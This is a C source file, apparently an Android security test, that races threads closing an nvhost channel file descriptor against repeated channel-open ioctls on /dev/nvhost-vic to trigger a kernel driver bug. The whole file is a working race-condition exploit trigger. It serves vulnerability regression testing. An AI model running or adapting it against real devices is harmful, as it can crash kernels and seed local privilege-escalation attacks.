/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>

#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
#define CLOSE_THREAD_NUM	100
#define TRY_TIMES		900

#define DEV "/dev/nvhost-vic"

struct nvhost_channel_open_args {
	__s32 channel_fd;
};

#define NVHOST_IOCTL_MAGIC 'H'
#define NVHOST_IOCTL_CHANNEL_OPEN	\
	_IOR(NVHOST_IOCTL_MAGIC,  112, struct nvhost_channel_open_args)

int fd;
pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
pthread_t toggle_thread_id;

static int set_affinity(int num)
{
	int ret = 0;
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(num, &mask);
	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
	if(ret == -1){
		printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
	}
	return ret;
}

static void prepare()
{
	return;
}

volatile int target_fd;
volatile int attack;
void* close_thread(void* no_use)
{
	set_affinity(1);

	while(attack){
		usleep(200);
		close(target_fd);
	}

	return NULL;
}

int main()
{
	int i, try_time = TRY_TIMES, ret;
	struct nvhost_channel_open_args o_args = { 0 };

	/* bind_cpu */
	set_affinity(0);

	/* open dev */
	fd = open(DEV,O_RDONLY);
	if(fd == -1){
		ERR("[-] open failed");
		return 0;
	} else {
		printf("[+] open OK\n");
	}

	#if 1
	ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
	if(ret == -1) {
		ERR("[-] ioctl failed");
		goto out_dev;
	} else {
		printf("[+] ioctl OK, fd = %d\n", o_args.channel_fd);
	}

	target_fd = o_args.channel_fd;	
	#endif

	/* create close thread */
	#if 1
	attack = 1;
	for(i = 0; i < CLOSE_THREAD_NUM; i++){
		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
		if(ret){
			goto out_close_thread;
		}
	}
	#endif

	#if 1
	for(i = 0; i < TRY_TIMES; i++){
		/* open */
		ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
		usleep(200);
	}
	#endif
	
out_close_thread:
	attack = 0;
	/* kill close thread */
	for(i = 0; i < CLOSE_THREAD_NUM; i++){
		if(close_thread_id[i])
			pthread_join(close_thread_id[i], NULL);
	}
out_dev:
	close(fd);
	return 0;
}